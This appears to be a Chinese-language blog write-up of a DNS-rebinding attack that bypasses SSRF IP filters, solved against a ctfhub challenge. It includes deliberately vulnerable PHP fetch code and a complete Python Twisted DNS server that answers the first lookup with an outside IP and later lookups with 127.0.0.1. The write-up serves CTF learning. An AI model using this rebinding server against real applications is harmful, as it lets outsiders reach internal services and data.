DNS-Rebinding攻击

前言

还是接着上次的SSRF来说,今天重点放在绕过手法之DNS-Rebinding

前置

浏览器同源策略

简单来说,就是同一个域名下的网站只能调用本域名下的资源,比如 http://www.ab.com/index.php 只能调用 http://www.ab.com/index2.php的资源,而不能调用 http://www.def.com/ 下的资源。(<script>,<link>,<iframe>,<img>等标签的SRC属性除外

DNS的TTL

DNS的TTL值记录了解析记录的缓存可以存在的时间,比如一开始你想访问 www.myangswhitehat.cn ,我们的主机会向最近的DNS服务器发起请求,查找这个域名对应的IP,这个DNS服务器上可能没有,这个时候会采取递归的查询去找到,然后返回给我们的主机。

而短时间内我们还是访问同一个域名的时候,这个时候再重新递归搜索一次就很麻烦了,所以DNS服务器直接给我们记录了这个解析,而TTL就代表这个解析能够存在的时间,时间过了,又要开始递归搜索了。

DNS-rebinding

攻击原理

简单来说,就是利用两次DNS查询解析的差异来完成攻击,当然也是利用了时间差。

具体攻击原理一张图就可以说明了(对请求一定程度上作了简化

123.png

利用场景

好了,接下来才进入我们的正题。我们用一段代码来引出这个DNS-rebinding的利用场景:

1
2
3
4
5
6
7
8
9
$dst = @$_GET['KR'];
$res = @parse_url($dst);
$ip = @dns_get_record($res['host'], DNS_A)[0]['ip'];
$dev_ip = "54.87.54.87";
if($ip === $dev_ip)
{
$content = file_get_contents($dst);
echo $content;
}

一开始我们输入的KR域名会经过DNS查询解析,然后赋值给ip变量,然后去判断ip是不是等于’54.87.54.87’ ,如果是,则在file_get_contents()函数这里,就会再一次进行dns查询获取ip,然后去拿到它的内容。可以发现前后进行了两次DNS查询解析。

而如果我们是想访问内网的资源,那ip这里最后肯定得是内网的。

再来看一个例子(ctfhub-ssrf)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php

error_reporting(0);
if (!isset($_REQUEST['url']))
{
header("Location: url=_");
exit;
}

$url = $_REQUEST['url'];
$ip = gethostbyname(parse_url($url, PHP_URL_HOST));
if (preg_match("/127|172|10|192/", $ip)) {
exit("hacker! Ban Intranet IP");
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);

这个地方也是一开始 gethostbyname 经过了一个dns解析,后面curl发送请求的时候,又会经历一次,也是经历了两次。

攻击方式

所以我们的着重点就是如何让两次请求返回不一样的IP

第一种方式 :将两个IP都指向同一个域名,同时得保证 TTL很小,这里有一个在线网站可以做到:

https://lock.cmpxchg8b.com/rebinder.html?tdsourcetag=s_pctim_aiomsg

因为如果两个IP都指向同一个域名,解析的时候会随机返回,也并不是交替返回。

所以碰撞成功的概率为 1/4 (第一次为我们用来绕过的IP,第二次为内网的IP)

第二种方式(自建DNS服务器,未复现成功

一开始没复现成功,上次在跑模拟redis服务器的脚本时候,发现端口放行这个问题,今天猛地想起,之前复现自制服务器没成功,可能也是因为这个问题,所以今天复现成功了。

第二种方式就是自己建一个DNS服务器,并且控制当第一次被请求时,返回一个IP,第二次被请求时返回另外一个IP,就避免了去碰撞。

需要在自己的VPS上添加两条解析:

111.png

NS记录表示 test.myangswhitehat.cn 这个域名由 ns.myangswhitehat.cn 这个域名所在的服务器进行DNS解析,而A记录表示 ns.myangswhitehat.cn 这个域名在106.54.90.137 上,所以最后 test.myangswhitehat.cn 实质上由 106.54.90.137 来解析。

然后我们在106.54.90.137上运行DNS脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from twisted.internet import reactor, defer
from twisted.names import client, dns, error, server

record={}

class DynamicResolver(object):

def _doDynamicResponse(self, query):
name = query.name.name

if name not in record or record[name]<1:

ip="106.54.90.137"
else:
ip="127.0.0.1"

if name not in record:
record[name]=0
record[name]+=1

print name+" ===> "+ip

answer = dns.RRHeader(
name=name,
type=dns.A,
cls=dns.IN,
ttl=0,
payload=dns.Record_A(address=b'%s'%ip,ttl=0)
)
answers = [answer]
authority = []
additional = []
return answers, authority, additional

def query(self, query, timeout=None):
return defer.succeed(self._doDynamicResponse(query))

def main():
factory = server.DNSServerFactory(
clients=[DynamicResolver(), client.Resolver(resolv='/etc/resolv.conf')]
)

protocol = dns.DNSDatagramProtocol(controller=factory)

reactor.listenUDP(53, protocol)
reactor.run()
print("start running!")

if __name__ == '__main__':
raise SystemExit(main())

效果图

222.png

最后我以ctfHUB上SSRF重绑定作了测试:

http://challenge-50e3dc7ff9cd8d8e.sandbox.ctfhub.com:10080/?url=test.myangswhitehat.cn/flag.php 成功拿到flag:

333.png